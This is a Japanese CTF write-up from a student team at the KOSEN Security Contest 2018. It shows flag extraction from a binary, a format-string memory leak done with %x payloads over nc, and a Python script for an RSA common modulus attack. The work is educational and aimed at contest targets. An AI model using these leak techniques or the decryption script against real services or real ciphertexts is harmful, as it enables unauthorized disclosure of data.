高専セキュリティコンテストに参加してきました

はじめに

9/1,2に行われた高専セキュリティコンテスト2018に参加してきました。 今年もオンサイトで参加させていただくことができてよかったです。

Writeup

チームDICEで出場し、14/35位でした。 f:id:onsd:20180903100350p:plain 解いた問題のWriteupを書いていきます

ログインしたい![Binary 100]

f:id:onsd:20180903100325p:plain

$ file login
login: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2c4d80c1acc5131588efaa7de9644f85d887cce3, not stripped
$ strings login | grep SC
SCKOSEN{DUMMY_PASSWORD_DUMMY}

stringsだけじゃフラグがでてこなかったのでIDAに投げる f:id:onsd:20180903101901p:plain そのまま出てきたのでsubmit SCKOSEN{P@SSW0RD!}

printf [Binary 100]

f:id:onsd:20180903102128p:plain 素直にncすると

$ nc 27.133.152.42 80
the secret is in 0xffbd221e
what do you want :

と出てくるのでいろいろ入れてみる

$ nc 27.133.152.42 80
the secret is in 0xffbd221e
what do you want: a
there is no a
$ nc 27.133.152.42 80
the secret is in 0xffa106ee
what do you want: 111
there is no 111
$ nc 27.133.152.42 80
the secret is in 0xffd83f0e
what do you want: %d
there is no 256
$ nc 27.133.152.42 80
the secret is in 0xffc5b9ce
what do you want: %x
there is no 100

(256)10 == (100)16なので解いてるときは printf("{}",変数);ってなってるのかなと思っていろいろ入れてました。

$ nc 27.133.152.42 80
the secret is in 0xffa61c5e
what do you want: %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
there is no 100f7fc25c000004353000045534f4b73757b4e72705f6566746e69726f635f746365727d796c78257825782578257825782578257825782578257825782578257825782578257825782578257825

ぱっとみASCIIなので変換 そのさいf7fc25c0000は違いそうなので削除、あと7825は%xなのでそれも削除

435345534f4b73757b4e72705f6566746e69726f635f746365727d796c
CSESOKsu{Nrp_eftniroc_tcer}

並び替えるとflagが出てくるのでsubmit SCKOSEN{use_printf_correctly}

FSB

よくよく調べるとprintf("{}",変数);ではまったくないらしい Format String Bugという脆弱性だそうです。 参考:フォーマットストリングバグ(format bug)を試してみる。 - バイナリの歩き方

CMA [Crypto 250]

(n,e1),(n,e2)ってどっかで見たことあるなと思ったのでグーグル先生に聞いた。 CMAとは、Common Modulus Attackのことで nが共通で、異なるe1,e2によって暗号化されたc1,c2があり、gcd(e1,e2)=1のとき平文mを導出することができる攻撃のことです

実装はできなかったのでスクリプトを借りてきました。

CMAの概要及び実装例:Common Modulus Attack - akashisnの日記

コード

import gmpy2,binascii

#n = int(input('n:'))
#e1 = int(input('e1:'))
#e2 = int(input('e2:'))
#c1 = int(input('c1:'))
#c2 = int(input('c2:'))
n = 697163747851313647585741051919071934545446813933803170069649318117710559741210942309828241413263057968917367783060498296976406236461105296155872343571465472571458861455067943431963600687028800873742137584796596162852671170321697375137596904939924266950341607689713670672118861922189869749313273790341949200887765536277607202964483007525837769344152685034136427995188789763316790283650418355485611911540613443291913015856221839541953433869506428199350315358438153142712432137030241041940194404554373526201816932093974336555692936225008805384205412065546229270153670267913485827127776342936704461533651887371495137078804092288438820479915530913133685413995201477157911998466715170295889089190163534335185024200648168611627442411240282585983100044974700889722041194576592581393367784749969933205292309980776102812865667772951149214877778939122394260160986401623585657051274220294040090019412172040635492538084358633197149142173638583232433297436812690635124286045064742069131774809951385200031432769100867496441664774312653371054082059690183370714830054453221456661636409939136078443635982854375609945486839364432796111524521897673385822201325354075200389425782052099305379822860801432433657644088520709280693673417006526206092542930693
e1 = 28403731
e2 = 17150467
c1 = 356570759721166632854477278136799769492343774718439393193117041958287753557806400469740119600912444471121902469051737507634649973684992907421275845928357480837967204554088377730592973371461640845998778351602473613321498651731821845302151273084971224273919757029367585943268081303597349083018680088246668756520417644436194270614866936538244276510376182333795743199343849396915141369807021966264988584828864056008833401505714143397103523465182025513664272858386121988541325005026429639663742091030924985561148699137540555122356726817211341134736753357393808849095516976817586308844713289098537749192345758473823827509850497061989710557199001358459265390635376010604140991653777868568674113486103285794018233006577917206881034620106651544317119711055161893664457852905424982102754338070105734468236013581966640100258303195145669292904518034140213634639091769696481494825204998756719477488782589658443127751934619249004503187492247836069895615545526963774623546554267330467769806735640763462197407817166248860338588483389322089500631811886698267849923510602086439495468328324214070248032200162537433610668578321215695335281853976740430016175221699089098481172034255657391707404351888360402839834243393219733520928567848871537851592051426
c2 = 575669665394963010438730844982706572279940953775084248493601352360353309463275817992767774795096407449419307507851144274577099379018722595834759584704006210908691450019272337607837959554493442466861874815821863073107471255902560481117004800315377873346287001444012552513063060796973028053013198499075430428452043304001191963057019440616815261548859525344231653286940357861588916952568607246006604702921318217575792576131436784963000249683695410291596075586154404188340172352441795237607740139409951995478116830822121083558308839245131140182773648330192322781141945473918170059521013325445190105385074502168806722940697164735139327947024502146556639414077407288877676048797361313676919317108174952942797955152717288281437971632282265010292963726153425441787656528527218493771925055052819889303710037993913193139749174960393128306067334527665804381704806070824786160213833105655536689787789552021836106110140198210399516241831181759041647693498251693612072390279270182844839334010795635506069552968998283558623684235164319889076092996389488377136513116055439381428605713467948520990739117352288882824718186997747849925566388008159205097327659787362273526326331055816821724603964108517089642955453424633029933595047255845252090385141400
val = gmpy2.gcdext(e1,e2)

print("[+] gcd(e1,e2) : {}".format(val[0]))
print("[+] a:{}, b:{}".format(val[1],val[2]))
print("[+] e1*a + e2*b == gcd(e1,e2)? : {}".format((e1*val[1]+e2*val[2]) == val[0]))

if val[1] < 0:
    a = -val[1]
    b = val[2]
    c1_inv = gmpy2.invert(c1,n)
    c1a = pow(c1_inv, a, n)
    c2b = pow(c2, b, n)
else:
    a = val[1]
    b = -val[2]
    c2_inv = gmpy2.invert(c2,n)
    c1a = pow(c1, a, n)
    c2b = pow(c2_inv, b, n)

m = (c1a * c2b)%n

m,result = gmpy2.iroot(m,val[0])
print("[+] gmpy2.iroot(m,gcd(e1,e2)) : {}".format(result))
print("[+] m^e1(mod n) == c1? : {}".format(pow(m,e1,n) == c1))
print("[+] m^e2(mod n) == c2? : {}".format(pow(m,e2,n) == c2))

try:
    flag = binascii.unhexlify(format(m, 'x')).decode()
except Exception as e:
    flag = m

print("FLAG: {}".format(flag))

 あとがき

miscとかはチームのみんなが解いてくれました。 まだまだ精進不足だなと切に感じたので来年(あれば)にむけてCTFやっていけたらなと思います

チームのみんなわざわざ博多までありがとうございました。 運営の皆さん、楽しいコンテストをありがとうございました!